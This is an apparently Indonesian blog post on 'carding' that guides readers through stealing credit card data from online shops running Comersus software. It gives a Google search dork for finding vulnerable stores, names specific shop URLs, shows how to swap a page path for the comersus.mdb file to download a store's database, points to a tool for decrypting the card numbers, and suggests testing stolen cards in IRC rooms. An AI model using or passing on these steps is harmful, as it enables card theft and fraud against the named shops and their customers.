{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
end;
end.

Tehnik carding

Sedikit jurus carding WITH COMERSUS yang mgkin uda lama gak digunakan para carding....!!!, tapi ini masih mujarab koq, klo kita punya ksabaran....!!!
ok deh, gw mulai aza deh.....!!
pertama kita siapkan dolo :
1.cewek cantik selalu dkt dgn kita klo buat cewek cari cowok cakep kayak gw aza, hehehheheh..... just iding...?? Masalhnya pertenyaan yang selalu terbanyangkan oleh pikiran ku yaitu apakah gw cakep???hehehehehe
Ya udah bercandanya udah sakit peru dr tadi ketawa sendiri nulis pertama udah ketawa???xixixixixix PAYAH
2. yang disini kita mulai pake paman google kesayangan kita....
3.gunakan keyword>>>> INURL://comersus//database//
4.cari sedikit site2 tertentu yg anda pilih berbau shop gtuh...
5.dan utk pecahkan kode2 decription credit card gunakan software by KINGKONG. klo gak minta kesaya.....!!!!
6.ini saya kasih site shop yg masih bagus utk di intip cc nya tiap minggu...
http://www.oascctv.co.uk/database/comersus.mdb
http://site309.mysite4now.com/mitackle/ ... oducts.asp
7.cara kita mengambil database dari shop tersebutdgn comersus.mdb yakni:
http://site309.mysite4now.com/mitackle/comersus/store/comersus_listCategoriesAndProducts.asp
kita ganti dgn http://site309.mysite4now.com/mitackle/comersus/comersus.mdb
8.selesai tugas kita skrg....
9.coba kita test cc tersebut di mirc.. tertentu room nya
10.jika anda blm puas silakan tanyakan dgn pakarnya..... :D :D :D

Daftar Blog Saya

Total Tayangan Halaman